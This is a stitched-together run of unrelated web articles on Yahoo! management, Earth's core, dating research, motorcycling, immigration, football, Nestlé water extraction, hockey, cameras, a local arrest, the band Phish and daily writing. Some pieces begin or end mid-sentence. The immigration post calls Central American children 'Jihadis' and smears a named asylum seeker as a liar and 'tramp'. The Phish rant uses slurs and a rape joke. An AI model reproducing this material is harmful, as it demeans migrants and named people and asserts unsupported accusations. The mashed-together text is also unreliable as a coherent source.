and/or the banner image atop this article. Sometimes for hours, intermittently, over a period of some days. Then, eventually, presumably in a dark windowless dungeon somewhere in Sunnyvale, Yahoo!’s engineers get their act back together, and my email starts working again … for another couple of months, until the cycle begins again. And I think to myself, yet again: “I know webscale email is hard, but I also know that other companies of a similar size seem to manage it a lot more competently. What’s wrong with Yahoo!?”
It’s not just mail. I also used to follow NFL/NHL/NBA scores/games on Yahoo! Sports — until, earlier this year, some crazed ad embedded in their mobile site started popping up a modal dialog box on every single pageview. For days. And I thought to myself: “You know, quite aside from that maddening ad, for a company allegedly focused on mobile, their mobile sports news site is terrible, clumsy and so ugly that it hurts the eyes. How could this be? What’s wrong with Yahoo!?”
Well. Thanks to Nicholas Carlson, I now have some idea.
I don’t care about Marissa Mayer’s alleged color-scheme micromanagement, or lateness for dinner with ad execs, or whim purchase of the “Saturday Night Live” archives. I am, however, flabbergasted that:
Mayer also favored a system of quarterly performance reviews, or Q.P.R.s, that required every Yahoo employee, on every team, be ranked from 1 to 5. The system was meant to encourage hard work and weed out underperformers, but it soon produced the exact opposite. Because only so many 4s and 5s could be allotted, talented people no longer wanted to work together; strategic goals were sacrificed, as employees did not want to change projects and leave themselves open to a lower score.
Stack ranking! They adopted stack ranking! The obviously internally destructive system (at least for software companies) that helped to drive Microsoft into irrelevance, and was finally abandoned in Redmond last year! What were they thinking? You don’t pay back technical debt by introducing stack ranking.
(Note: Yahoo seems not to have learned what Microsoft did, which is that "forced ranking" is 100% counterproductive.) — suldrew 🏳️🌈🇺🇸 (@suldrew) December 17, 2014
I’m not saying this is the cause of all their problems; those long predated Ms. Mayer. I can see the case for stack ranking as a temporary measure to remove deadwood (although that still only makes it slightly less terrible.) And I admit that every now and then she makes a really smart move, like hiring Alex Stamos as CISO and Yan Zhu as a security engineer.
But it sure seems that no matter how sleek and newly painted the Good Ship Yahoo! may seem from a distance, it’s still taking on a lot of water, while its sailors keep fighting each other to stay above its slowly rising waterline. A boat that big is hard to sink, but also hard to steer.
I remember when Yahoo! was a technology company. Then, famously, it started treating technology as a commodity. It seems that once that kind of rot gets into your business, it’s almost ineradicable. I can’t help but think that not even Marissa Mayer can turn Yahoo! back into a technology company now — especially not with stack ranking.
There’s a larger lesson here. Technology is increasingly at the core of every major company. Eventually they’ll face the choice Yahoo! did a decade ago: explicitly embrace being a technology company, and ride the tsunami … or try to reject it, and, eventually, capsize. Whether Mayer manages a turnaround or not, Yahoo! will make for an interesting object lesson. My prediction: they continue to slowly flail their way into irrelevance.Even though it is hotter than the surface of the Sun, the crystallized iron core of Earth remains solid. A new study from KTH Royal Institute of Technology in Sweden may finally settle a longstanding debate over how that's possible, as well as why seismic waves travel at higher speeds between the planet's poles than through the equator.
Spinning within Earth's molten core is a crystal ball -- actually a mass formation of almost pure crystallized iron -- nearly the size of the moon. Understanding this strange, unobservable feature of our planet depends on knowing the atomic structure of these crystals -- something scientists have been trying to do for years.
As with all metals, the atomic-scale crystal structures of iron change depending on the temperature and pressure the metal is exposed to. Atoms are packed into variations of cubic, as well as hexagonal formations. At room temperatures and normal atmospheric pressure, iron is in what is known as a body-centered cubic (BCC) phase, which is a crystal architecture with eight corner points and a center point. But at extremely high pressure the crystalline structures transform into 12-point hexagonal forms, or a close packed (HCP) phase.
At Earth's core, where pressure is 3.5 million times higher than surface pressure -- and temperatures are some 6,000 degrees higher -- scientists have proposed that the atomic architecture of iron must be hexagonal. Whether BCC iron exists in the center of Earth has been debated for the last 30 years, and a recent 2014 study ruled it out, arguing that BCC would be unstable under such conditions.
However, in a recent study published in Nature Geosciences, researchers at KTH found that iron at Earth's core is indeed in the BCC phase. Anatoly Belonoshko, a researcher in the Department of Physics at KTH, says that when the researchers looked into larger computational samples of iron than studied previously, characteristics of the BCC iron that were thought to render it unstable wound up doing just the opposite.
"Under conditions in Earth's core, BCC iron exhibits a pattern of atomic diffusion never before observed," Belonoshko says.
Belonoshko says the data also shows that pure iron likely accounts for 96 percent of the inner core's composition, along with nickel and possibly light elements.
Their conclusions are drawn from laborious computer simulations performed using Triolith, one of the largest Swedish supercomputers. These simulations allowed them to reinterpret observations collected three years ago at Livermore Lawrence National Laboratory in California. "It appears that the experimental data confirming the stability of BCC iron in the Core were in front of us -- we just did not know what that really meant," he says.
At low temperature BCC is unstable and crystalline planes slide out of the ideal BCC structure. But at high temperatures, the stabilization of these structures begins much like a card game -- with the shuffling of a "deck." Belonoshko says that in the extreme heat of the core, atoms no longer belong to planes because of the high amplitude of atomic motion.
"The sliding of these planes is a bit like shuffling a deck of cards," he explains. "Even though the cards are put in different positions, the deck is still a deck. Likewise, the BCC iron retains its cubic structure."
Such a shuffling leads to an enormous increase in the distribution of molecules and energy -- which leads to increasing entropy, or the distribution of energy states. That, in turn, makes the BCC stable.
Normally, diffusion destroys crystal structures turning them into liquid. In this case, diffusion allows iron to preserve the BCC structure. "The BCC phase goes by the motto: 'What does not kill me makes me stronger'," Belonoshko says. "The instability kills the BCC phase at low temperature, but makes the BCC phase stable at high temperature."
He says that this diffusion also explains why Earth's core is anisotropic -- that is, it has a texture that is directional -- like the grain of wood. Anisotropy explains why seismic waves travel faster between Earth's poles, than through the equator.
"The unique features of the Fe BCC phase, such as high-temperature self-diffusion even in a pure solid iron, might be responsible for the formation of large-scale anisotropic structures needed to explain Earth inner core anisotropy," he says. "The diffusion allows easy texturing of iron in response to any stress."
The prediction opens the path to understanding the interior of Earth and eventually to predicting Earth's future, Belonoshko says. "The ultimate goal of Earth Sciences is to understand the past, present and future of Earth -- and our prediction allows us to do just that."It can be difficult to choose a romantic partner. Everyone weights the costs and benefits of different characteristics. Each individual wants something unique and special too. Beyond that, the characteristics we find attractive and those we find compatible are often two different things.
Given all of this confusion, a partner who seems like a great pick at first can become a problematic in the long run. In fact, some of the same characteristics and traits that are initially appealing can become irritating in time. These are known in the research literature as fatal attractions, because they are initially attractive qualities which ultimately sour and end a relationship. Fortunately, if you're aware of these qualities, you can make better relationship choices for long-term success.
Positive and Negative Characteristics
Source: shyshak roman/Shutterstock
The main research on fatal characteristics was conducted by Diane Felmlee (1995). Felmlee explored the qualities individuals found initially appealing in a partner, the qualities individuals ultimately found repellent in a partner, and the possible overlap between the two types. To examine these concepts, 300 college students were presented with open-ended survey questions about their most recently ended relationship. Specifically, participants were asked to describe the qualities that first attracted them to the partner — and the qualities they found least attractive about the partner over time.
The responses to the open-ended questions were categorized and summed. Overall, participants found the following 10 categories of characteristics initially attractive in a partner (with percentages):
Physical (27.5 percent): Being physically attractive, sexy, having nice eyes or smile.
(27.5 percent): Being physically attractive, sexy, having nice eyes or smile. Fun (17.8 percent): Having a good and being sociable.
(17.8 percent): Having a good and being sociable. Caring (15.6 percent): Being nice and attentive.
(15.6 percent): Being nice and attentive. Competent (11.7 percent): Having,, and ambition.
(11.7 percent): Having,, and ambition. Similar (5.2 percent): Holding common interests and values.
(5.2 percent): Holding common interests and values. Exciting (5.1 percent): Being spontaneous and adventurous.
(5.1 percent): Being spontaneous and adventurous. Open (3.5 percent): Friendly and receptive.
(3.5 percent): Friendly and receptive. Dependable (3.3 percent): Honest and trustworthy.
(3.3 percent): Honest and trustworthy. Easy-going (2.0 percent): Laid back and patient.
(2.0 percent): Laid back and patient. Other (8.3 percent): Overall and other vague attributes.
Similarly, they found 10 general categories of characteristics that were unappealing and relationship-ending:
Uncaring (28.3 percent): Being selfish, insensitive, and egotistical (opposite of Caring).
(28.3 percent): Being selfish, insensitive, and egotistical (opposite of Caring). Insecure (22.5 percent): Acting possessive and unintelligent (opposite of Competent).
(22.5 percent): Acting possessive and unintelligent (opposite of Competent). Undependable (12.1 percent): Being dishonest, immature, and irresponsible (opposite of Dependable).
(12.1 percent): Being dishonest, immature, and irresponsible (opposite of Dependable). Physical (10.7 percent): Unattractive and unappealing physical features (opposite of Physical in the positive context).
(10.7 percent): Unattractive and unappealing physical features (opposite of Physical in the positive context). Differences (6.4 percent): Having different interests and values (opposite of Similar).
(6.4 percent): Having different interests and values (opposite of Similar). Closed (6.0 percent): Unfriendly and not receptive (opposite of Open).
(6.0 percent): Unfriendly and not receptive (opposite of Open). Moody (3.4 percent): Acting uptight and impatient (opposite of Easy-going).
(3.4 percent): Acting uptight and impatient (opposite of Easy-going). Boring (1.4 percent): Being predictable and habitual (opposite of Exciting).
(1.4 percent): Being predictable and habitual (opposite of Exciting). Serious (1.0 percent): Having a poor sense of humor and not social (opposite of Fun).
(1.0 percent): Having a poor sense of humor and not social (opposite of Fun). Other (8.3 percent).
As shown in these general categorizations, attractive and unattractive qualities often mirror each other; they are two sides to the same coin. Having a certain quality (like being fun or confident) is appealing, while lacking that same quality (being serious or insecure) is often a turn-off.
Beyond that, however, Felmlee (1995) noted that some positive characteristics turn negative over time as well. Specifically, partners who are attractive because they are fun may also turn out to be undependable, silly, and immature. Individuals who are especially caring may end up being insecure, possessive, and. Competent and physically attractive mates may also become uncaring, selfish, and egotistical over time. People who are initially exciting and exotic may prove too different and dissimilar for a long-term relationship. Finally, folks who are appealing because they are easy-going and relaxed may end up being boring or undependable.
Subsequent analyses by Felmlee found that some initially attractive characteristics were more "fatal" than others: Individuals who were first attracted to a partner who was exciting or different were significantly more likely later to dislike those same qualities as the relationship progressed. Partners who were initially attractive because they were fun, easy-going, and competent were also likely to experience some negative down-turn over time. In contrast, partners who were picked because they were physically attractive, caring, open, and dependable tended to stay positively rated on those characteristics in long-term.
Who Is Right for You?
The above research offers a few important points about attraction and picking a compatible partner. First and foremost, the variety of features that participants found appealing in a partner support the idea that there is more than one way to be attractive. In fact, the most popular attributes aside from being physically attractive — being fun, caring, and/or competent — align quite well with other studies exploring ways of flirting and attracting a mate. By accentuating their unique strengths, anyone can become more attractive to potential partners.
Second, the research also notes that a partner being uncaring, insecure, and/or not dependable are often the most unappealing qualities, which can end a relationship. This is because, underneath the emotional connection, romantic relationships are still social exchanges intended to meet the needs of both partners. Therefore, it may be more challenging and less satisfying to have a long-term relationship with a partner who exhibits such qualities, because they may be less likely to meet your needs. This notion is supported by studies looking at the important role a partner's self-control and conscientiousness plays in relationships, as well as studies looking at the negative effects of a partner's annoying habits.
Putting those two ideas together, it is important to consider what qualities will truly satisfy you in a romantic partner. Especially if you are searching for a long-term connection, it is important to look past the initial excitement of attraction to consider more stable and compatible characteristics. After all, as the research indicates, those fatal attractions were most likely to occur with partners initially chosen primarily because they were exciting, different, and/or fun. In other words, individuals get swept away in the moment, only to be disillusioned later, when they realize there are not enough tangible similarities, competencies, or emotional connections to build a longer-term connection. If you want more than a fling, focus on substantive qualities in a partner — and in yourself.
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© 2017 by Jeremy S. Nicholson, M.A., M.S.W., Ph.D. All rights reserved.You would have to be living in a hole not to have heard about the video footage of a Range Rover plowing through a group of motorcyclists, and the chase through New York that ensued afterwards.
I say this not because the video has been the highest trafficked article on Asphalt & Rubber this week so far, though it is; nor do I say this because the video has been posted to virtually every motorcycle forum and blog on the internet, though it has; but instead because the video has elevated itself out of our obscure sport and into the national, if not international, public consciousness.
It is rare that motorcycling finds its way into mass media, and unfortunately it is rarely a good thing when it does so. Motorcycling by and large has an image problem in the United States. Few motorists commute via motorcycle, which means our industry is filled with people who come to motorcycles from either a hobby, sport, or lifestyle perspective, and because of this motorcycles remain on the fringe of mainstream society.
For some, that is the allure. Motorcycling is “something different’ which in turns allows a motorcyclist to express their individuality in an obvious manner. To illustrate this point, I am fairly certain that the vast majority of flame threads that start on forums and blogs can be boiled down to the premise that because your enjoyment of motorcycles is different from my enjoyment of motorcycles, it therefore must be wrong.
Despite our internal disagreements, most motorcyclists enjoy their passion for two wheels in an entirely respectable manner, though unfortunately we are rarely recognized as doing so. It is the one-percenters, the members who are two standard-deviations removed from the generalized term “motorcyclist”, who instead come into the attention span of the public.
We saw it with the 1% movement in the 1940’s, and we see it again now with the Hollywood Stuntz group in New York. There has always been a subculture in two wheels that revels in the subversive mystique that surrounds motorcycles, and this group has always been in the minority.
We are beyond the Pareto Principle here — better known as the 80/20 rule — this is motorcycling’s 1/99 rule. In fact, the only instance of a positive social message from motorcycles going mainstream is Honda’s “You Meet the Nicest People” campaign from the 1960’s. If you ask me, we are long overdue for a media win of that magnitude.
While the debate will continue about “who was at fault” in the video (I think I’ve made my views on that issue pretty clear already), the real tragedy of this event (from a bigger picture of course, not to discredit the individuals and families who now have to deal with the direct consequences of this event) is that once again motorcycling, in the broadest sense of the word, has to be dragged once again through the mud in the mainstream media.
It is not like our industry as a whole is thriving. After watching sales plummet the last 5 years or so, things have stabilized…but they aren’t rising. One has to wonder if we have hit that tipping point where growth is no longer possible, and everything from here on out is the long decline downward. I don’t personally believe that, but I cannot discredit it either. As I am fond of saying, time will tell.
Meanwhile the mainstream media will cast fire and brimstone on these NYC motorcyclists, and all other motorcyclists will suffer with them, if for no other reason than guilt by association.
You see, while veteran riders can distinguish between sportbikers, tourers, Harley riders, adventure riders, and all the other permutations of the two-wheeled demographic, the public at large just sees two wheels and lumps us all together accordingly. This is really our industry’s greatest flaw.
We are all members of a great mosaic. From far away, the image of a motorcyclist is easy to define, but upon closer inspection, we see that the generalization is made up of many diverse and tightly distinguished groups. Good luck trying to explain that principle to a non-rider though.
When I see a video like the one from the Hollywood Stuntz ride into New York City, I cringe for our sport/industry/passion, because it just died a little bit more.
It is for this same reason that I pour as much support into the charity Riders for Health as I can. There are few charitable causes out there where motorcycles are making a difference. If you have ever participated in something like a toy ride or have donated to any of the many motorcycle-based charitable groups, I applaud you for helping make the world a better place. A genuine hat-tip to you ladies and gentlemen.
We need more people like you. But what draws me to Riders for Health isn’t that it is motorcyclists going and doing something for a worthy cause, it is about motorcycles, the actual physical machine, being an integral part of a solution to a problem in this world.
Any group can raise money for charity, but only motorcycles can travel to remote villages in Africa to bring critical healthcare services. Motorcycles themselves making the world a better place, that is what Riders for Health provides, and we need more stories like that in the public consciousness.
We need more instances where motorcycles are making a tangible and meaningful difference in this work, to help drown out the noise from the riffraff.
We need to turnaround the precedent where motorcycling’s 15 minutes of fame is only a negative message. If we can do that, maybe more people will join us in our passion for two wheels, and that is why you see Asphalt & Rubber doing anything it can for Riders for Health.
Whether you already support Riders for Health, support another similar cause, or have the motivation to start your own motorcycle charity…it’s all good in my book. But we as motorcyclists, the 99% who are contributing members of society, we need to step up our game. Otherwise, the 1% are going to ruin this whole thing for us.The argument for more immigration and amnesty has always been all lies. There is no justification for massive immigration and amnesty other than the greed of the few and a desire of another few for usurpation of the American nation. The current claim for succor for the Children's Jihad is no different. Take Edilsa Cano for example, she is the poster child for the amnesty for the Central American Camp of the Saints. Her story is all lies.
MSN News/Fort Worth Star Telegram by Diane Smith July 13, 2014 One Woman's Journey To And Across The US Border FORT WORTH, Texas — Edilsa Cano was fleeing sexual assault, kidnapping and death threats — all from her own family — when she left her village in Guatemala at 16. Now 21, she sees her own desperation in the tens of thousands of Central American children, some as young as 4, flooding the U.S. border with Mexico. Border authorities are scrambling to shelter the children, and President Barack Obama is looking for ways to deport them faster to cope with what has been called a humanitarian crisis.
Stunning story, her parents, siblings and other relatives were involved in a grand ongoing conspiracy to rape her from the age of 15 up. Pretty shocking.
Just that it is not true. It was a lie that she concocted to obtain asylum in the United States as the alleged victim of a crime in another country.
Quite astonishingly, the reporter contradicts the initial claim quite early into the story.
"I decided to come by myself," Cano said, shifting between Spanish and English as she told the story of her illegal flight from a tortured home life. After years of physical and mental abuse by relatives, she wanted out. "The problem is that you are in a situation that you want to escape," Cano said. "I told my father: 'I can't stand it anymore. I want to leave.' " She took just two pairs of pants and two blouses, along with the clothes she was wearing. "My father gave me a Bible," Cano said. Her aunt and uncle advised her to carry a small knife for protection and to guard against dehydration by drinking liquids containing electrolytes. They collected enough money to pay the coyote's $10,000 fee, and Cano met him in Chiquimulilla, Guatemala, where she got into a car with three older men, also traveling to the United States.
The same people who repeatedly raped her also gave her a copy of the Holy Bible and $10K to get to the United States. That obviously does not make sense. If her family was sexually abusing her, why did they give her $10K and a Bible to leave. One would think that a degenerate family that was repeatedly sexually abusing a 15 year old girl would not give her the means to escape from that abuse.
What it does tell us is that the claims of abuse from Central American Jihadis is just a pack of lies designed to gain asylum, as has been documented before.
And, more importantly, the little tramp had a child out of wedlock here in the United States after her arrival. All courtesy of the American taxpayer. Everything you hear from the Obama Regime is a lie. Remember that.Arsene Wenger has revealed the latest team news ahead of tomorrow night’s Premier League encounter with Swansea.
Arsenal are looking to bounce back after that disheartening Old Trafford defeat, and there are no new problems since the game on Sunday. There are one or two issues with ‘muscular tightness’, but nobody available then is a doubt for tomorrow.
He has also confirmed that Alex Oxlade-Chamberlain will be sidelined for 6-8 weeks.
The midfielder suffered a knee injury in a clash with Javier Mascherano during the 2-0 defeat against Barcelona, eventually being substituted after half time.
It’s a real blow for the England international who now faces a race against time to be fit for Euro 2016, but good news in that he won’t require surgery to fix the problem.
Wenger also hinted he’d be making some changes to the team for the Swansea game, hinting that Danny Welbeck could make way as he’s concerned about overplaying him after such a long injury absence.
That would probably mean a recall for Olivier Giroud ahead of Theo Walcott – about whom the Arsenal manager refused to comment today – and possibly Joel Campbell on the right side.
—
Thanks to @JamesOlley for the Ox question.Being publicly-funded gives us a greater chance to continue providing you with high quality content. Please support us!
California has become synonymous with the word drought in the past four years. With no indication that the drought will end anytime soon, the state has turned to rather desperate measures to keep water flowing. Restaurants are no longer permitted to bring customers water if they do not expressly ask for it, and violators of new water usage regulations are subject to a $500 fine. This situation has become so shockingly bad that Californians have no other choice but to pump water from prehistoric aquifers, just to meet supply needs.
In case you missed it: this is a really big deal.
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Yet, amidst California’s growing thirst, bottled water companies still seem to be pumping and packaging water from the San Bernardino National Forest … in California. How is it that a state so drought stricken can afford to pass water supplies to bottled water distributors? Simply put, they can’t (and possibly didn’t even know it was happening).
A recent investigation in the Desert Sun found that Nestlé Waters North America has been pumping water from this pristine streams of this national forest with little to no oversight by the U.S. Forestry Services. While Nestlé has held the rights to extract water from this national park for years, their official permit to transport water from the stream to their bottling plant expired in 1988. Between 1988 and now, tens of millions of gallons of water have been drawn from this stream annually and sold under the Arrowhead 100 percent Mountain Spring Water label. Although Nestlé asserts that they do monitor water levels and the impact on local wildlife, it seems more than a little irresponsible to leave this task up to the company that profits from exploiting this natural resource.
So what’s really going on here?
How Taking Water Supplies Impacts the Local Ecosystem
David Vosti/Flickr
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The impact of California’s drought spans far beyond humans. Native wildlife have also suffered immensely due to lack of food and water resources. Local salmon populations have dropped by 12 percent, deer populations have decreased nearly 75 percent, and waterfowl populations have dropped significantly. The loss of these species has a ripple effect, which can lead to the collapse of the entire ecosystem if efforts aren’t made to restore the balance. Seeing as how California would need 11 trillion gallons of water to end their current drought crisis, restoring this balance seems nearly impossible.
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In the San Bernardino National Forest, many species rely on Strawberry Creek as a source of water.
Steve Loe, a retired Forest Service employee explained to the Desert Sun that frogs, salamanders, insects, birds such as willow flycatchers and Bell’s vireo are just some of them. During his days with the Forest Service, he saw the Santa Ana speckled dace go extinct from the river after a series of wildfires and floods. Although these natural events played a role in the loss of the species, Loe suspects that if Nestlé had not depleted water levels in the creek to such an extent, the dace would have survived the summer.
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Age-Old Oversight
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Nestlé is required to submit reports on water usage in the park, but the Forest Service has not closely tracked how much water is actually being taken from the creek. When the pipe was first installed around 1906, an environmental impact assessment was not performed and the modern service hasn’t carried out a study to gauge the pipeline’s impact on native wildlife since.
If we do not know how much water is needed to sustain a healthy ecosystem, how can we justify allowing 705 millions of gallons of water to be funneled into bottles, annually? (Especially in the middle of a serious drought, and especially because we don’t need more bottled water or plastic bottles!)
Essentially, Nestlé is pumping millions of gallons of public water from a drought stricken area and reselling it in the form of bottles to consumers. Yes, this is as ridiculous as it sounds.
Bottling water is an incredibly unsustainable business, and if no one (aside from the people profiting) is monitoring how much water is being extracted from delicate ecosystems, then we’re setting ourselves up for disaster.
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The Shocking “Unknown” Impact of Bottling Freshwater Supplies
Steve Depolo/Flickr
While the Nestlé news in California has garnered a significant amount of media attention, this is hardly the only instance where bottled water companies have taken precedence over local ecosystems.
Crystal Geyser Water Company opened a facility in Mount Shasta in 2014, much to the dismay of local residents, without performing an environmental impact report. Like Nestlé, Crystal Geyser is not closely monitored by the Forest Service but submits water usage reports. According to the Forest Service, the impact of the company’s water use on groundwater supplies and aquifers is “unknown.” Apparently, “unknown” is the new “okay.”
According to the National Resources Defence Council, “Other springs in national forests across the country have been tapped for use by bottled water companies, including Nicolet National Forest in Wisconsin, Ocala National Forest in Florida, Cherokee National Forest in Tennessee, Chattahoochee National Forest in Georgia |
so far this year he's been one of the best in the league.''
Red Wings coach Mike Babcock said it was important for the team's best players, Zetterberg and Datsyuk, to be playing in Europe during the lockout. When the NHL resumed, Detroit's stars were in midseason form, and players around them have benefited.
“Some guys say they got freshened up (with time off), but you never get in shape,'' Babcock said. “It’s going to take some time to find your game if you’re one of those guys. These guys have found their game quicker.
“(Zetterberg) has been awesome and so has Pav. You hope to get those guys going and everyone will follow. It’s great to be talented, but it’s another thing to also be real competitive and talented, and that’s what they are.''
This is not Zetterberg's best start. In 2007-08, he set the franchise record for longest points streak at the start of a season at 17 games. He had 27 points (13 goals, 14 assists) during that stretch.
Even before Zetterberg officially was named captain, Red Wings forward Damien Brunner saw his leadership ability when they were linemates for EV Zug in Switzerland during the lockout.
“A real good leader,'' Brunner said. “He’s not too vocal. When he says something he has a point. There are some guys who want to do too much and they talk too much. But Henrik knows when he needs to talk, and something smart comes out.”
Could Zetterberg's quick start be related to having the “C'' on his jersey? Kronwall hasn't noticed any difference in Zetterberg's leadership approach after becoming captain.
“I think he's been a leader ever since he got here,'' Kronwall said. “He's just Hank. Still doing the right things, still working hard every day, in practice, games, doesn't matter. Representing the Red Wings perfectly. We couldn't have a better captain.''[Not] Love at First Sight
Ever since I jumped into photography several years ago, I've always had a fascination with Leica. I used to think their cameras were overpriced and absurd — they were heavy and lacked many of the latest features I was accustomed to being on the latest DSLRs. As I became more comfortable with my cameras and as I began understanding my shooting style, I naturally started transitioning from DSLRs to mirrorless, and finally to a rangefinder system. With this self-realization and longer tenure with the craft, I started to appreciate Leica for what the brand and philosophy stands for and for the value their products bring to their users.
Jumping forward to 2017, I finally convinced myself that perhaps it was time to pick up a Leica M. With the M 10 having just been announced, the market for M 240 was perfect for buyers. I was able to find an excellent M from a local camera collector and photographer, and I was instantly in love with the camera. The RF mechanism took a few days to get used to, but it has since become second nature. (I don't shoot many fast-paced subjects, so keep this in mind when reading this.) Out of hundreds of shots I've taken since I've owned this camera, I can count on one hand the number of shots I've had to discard because of focus issues. And most of these shots were ones that I knew weren't properly focused at the time of exposure, often due to trying to shoot with one hand, etc. Here are some shots from my first few days with the M.HUDSON, Fla., Aug. 29 (UPI) -- A 29-year-old stripper in Florida is facing some serious charges after deputies said she hung up on them. The Pasco County Sheriff's office said they were searching for her missing 10-year-old daughter.
Bobbey Jo Boucher reportedly told a deputy when they called her "I have to get on stage" and hung up the phone. Boucher is an entertainer at Calendar Girls.
Deputies started the search for the missing girl when they said the girl's grandmother called them when she did not come home from a barbecue up the street. Boucher reportedly left the child at the barbecue as she went to work, and deputies said she was the last person to see the girl.
The child was later found safe and sound.
Boucher was later found and arrested for resisting an officer and misdemeanor obstruction. She said she did not hang up on the deputy but transferred to another call.Believe it or not, 2013 is the thirty-year anniversary of Phish, Vermont's pied-pipers of Wookie stoner trash. Yesterday I was poking around on the Internet and I came across an article that Katie Bain wrote for the LA Weekly in defense of jam bands. In the piece, she defines these musicians as "rooted in the tradition of exercising one's basic urges through an ecstatic musical experience," but just so we're working from a shared definition, a jam band is a group of smelly men who can't write real songs. Phish, a four-person group now in its 30th year of giving bong boys a reason to get off the beanbag chair, is one of those bands.
For those looking to eviscerate shitheads, Phish is pretty low-hanging fruit: They're only a hair of a step above Wings, or Adolph Eichmann. But I grew up in the Northeast, where L.L. Bean, Birkenstocks, and, yes, Phish are our birthright. It was pretty much all I knew until I left the fourth grade, a lineage passed down by conga-beating counselors at the camp I was forced to attend. I owned a few Phish CDs, saw them live once (I didn't buy a ticket though!), and even rocked a "Gamehenge" shirt, a reference to singer Trey Anastasio's fictional fantasyland senior project.
Point is, I feel like I have something to say about it, and I'm going to try to do so without using the words "dirty," "hippy," "stoner," "weed," "Danny Tamberelli," "trustafarian," "jester hat," "hackeysack," "rainstick," or "retard."
TREY ANASTASIO IS A PILL-POPPING, HYPOCRITE ENABLER
In 2006, Trey Anastasio was pulled over in Washington Country, New York, and arrested for driving drunk and carrying a shit-ton of Vicodin, and other opiate-based painkillers he was addicted to. He performed 215 hours of community service, cleaning toilets at the community fairgrounds. Now he's five years sober, and an outspoken lobbyist for the National Association of Drug Court Professionals.
Now I know what you're thinking: How can you call Trey Anastasio a fumbling, intolerable dickweed for getting addicted to drugs, getting over it, and going on to help others get over their own problems with abuse. But do you really think he's sending a good message by hosting massive, bacchanal drug parties on a semi-regular basis? According to the Daily Press, a recent Phish show in Virginia saw over 200 arrests, mostly for possession or distribution of narcotics. Over three nights of Phish shows, police reportedly seized a load of drugs with a street value of over 1.2 million dollars. This means that, at any given Phish concert, the audience is cramming hundreds of thousands of dollars of substance into their arms, down their throats, or up their O-rings.
If Trey really wanted to help people with substance abuse problems he'd break up his shitty band. Also...
THEIR MUSIC IS NOT GOOD
I wish I could make that sound smarter, but that's all there is to it. Whenever you confront a true Phish Head about his or her terrible taste, you get the same response: "But they're such great musicians!"
And let's be honest, that's true: These guys absolutely fucking shred. But a talented musician does not a good band make. There's more to rock 'n' roll than just virtuosic noodle soup that goes to Nowheresville. If I spent my hard earned money on Phish tickets and drugs I'd at least expect the band to utilize their combined talent to make something of value and substance, not just a mushy jambalaya of the Dead, Pink Floyd, and the Sesame Street theme song.
THEY HAVE A TERRIBLE NAME AND LOGO
Seriously, just look at that growler. Can you think of a worse band name than Phish? Just writing it gives me that slimy, I-just-accidentally-stepped-in-rotten-cod feeling, and that's not even taking into account that they're named for their drummer, Jon Fishman, who wears a dress and looks like this:
PHISH FANS ARE PIECES OF HUMAN GARBAGE
The caliber of Phish's fan base is a classic, time-honored reason to hate the band as much as the Khmer Rouge. Phish fans are basically dead-eyed jocks that are too drugged-up to rape. They're often referred to as "Wookies," a reference to the slack-jawed, non-verbal state they perennially exist in following consumption of olympic amounts of lysergic acid diethylamide. Most of these people are harmless enough, if you consider the vegetarian, cross-dressing sons of chemical biologists with names like "Murph-nugget" harmless.
Wookie.
Some Phish Heads admit to "getting into one Tool album in college," but ultimately write their pre-Phish days off as "a weird time in my life" while gawking at a table of neatly organized bubblers, bowls, bongs, one-hitters, and vaporizers, all with ridiculous nicknames like "gussy" or "chillum-fish." They're also guilty of quoting Dr. Seuss in their AOL Instant Messenger profile (in a sea foam-green font color) and using Phish lyrics for both their email account name and email password. Which brings me to my next point...
NO BAND HAS EVER HAD WORSE LYRICS
…In the history of rock and roll. For example: "Got a blank space where my mind should be. Got a CLIF Bar and some cold green tea."
That's all I can write about them. I wish there was more to say but these guys really do just suck. Happy birthday, Phish!
[UPDATE: After Ben wrote this story, the entire Phish-loving Phinternet declared war on him. Here's what happened.]
Ben's favorite Ben & Jerry's ice-cream flavor is Phish Food. He also says dumb things on Twitter - @b_shapWriting is one of the most difficult, most underrated activities that people all across the world covet. Some people write as a profession while others write because it is required of them in their schooling or career. There are even some people who write just for fun. But no matter what your reason for writing may be, developing a daily writing habit can be extremely beneficial to different areas of your life.
Usefulness
The best reason to develop writing as a daily habit is because it’s a great skill to have. Being able to coherently get your thoughts onto paper in an interesting and engaging manner is no small feat. Just ask Shakespeare. It takes a lot of practice and a ton of hard work. But once you get the hang of it, you start to see how it helps you communicate with others in an effective way.
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Here’s a few easy steps to start:
Get a blank notebook. It doesn’t matter what kind. It can be a college-ruled pad or a leather bound notebook that is designed specifically for writing. The only thing that matters is whether or not there is paper for you to write on. Get a pen or pencil. It doesn’t matter what kind. Whatever you prefer. (I use a pen so that I can’t erase what I write.) Write.
It’s as simple as that. The only way to get better is to write, write, and write.
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Sense of Self
When you write daily, you develop a bigger sense of self. Even when you’re not writing about yourself, you learn about how you perceive things or what your outlook is on certain subjects. For example, you could be writing about a thought or a dream that you had, in which case, you’d learn how you take it all in and extract your feelings from it. Or you could write about World War II and learn about how you feel like those events impacted humankind since. It’s all really fascinating, to learn about yourself. After a couple of months of writing daily, you can go back and see how you were when you started. Seeing yourself grow is a fruitful experience.
It might be a good strategy to brainstorm a few ideas that you enjoy writing about first before you start writing about things that you don’t enjoy. Once you figure that out, you’ll be able to start to cultivate your way through your own skills. Another good route to take would be to look up creative writing blogs or head over to google and search subjects that you are passionate about.
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Critical Thinking
Another great reason why writing daily is beneficial is because it helps you do your job better, even if your job doesn’t call for you to write. You develop critical thinking skills that you learn through your writing and it helps you become a better talker, thinker, and doer. You also have more of a reason to want to do your job at a higher level. Once you begin to write your thoughts and feelings down, you feel compelled to write about them again the next day.
Your point of action: find out a way to write every single day about the things that you feel strongly about. It can be political, it can be personal, it can be about the economy, etc. Whatever it is, challenge yourself to have an open mind throughout the whole process. It’ll help you grow as a person. Who knows, you may even learn a lot about yourself that you never really explored prior.
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Language
The last reason that I have for you is that writing forces you to learn about the English language, whether you want to or not. You’re going to learn more words on your journey, whether it’s indirectly through contextual examples or directly from a dictionary. You start to build a tool belt of your best words, ideas, and phrases that you can use at any time. This gives you more of a chance to make a real difference with your words, not only on paper but orally as well.
A good thing to start off with would be a dictionary (which you can conveniently find an app for if need be). You can read a couple of pages of words a day if you want to or you can read a book and write down all of the words that you don’t truly know the definition of. This will help with your awareness and ability to find words that push you to do better with your writing.
Write
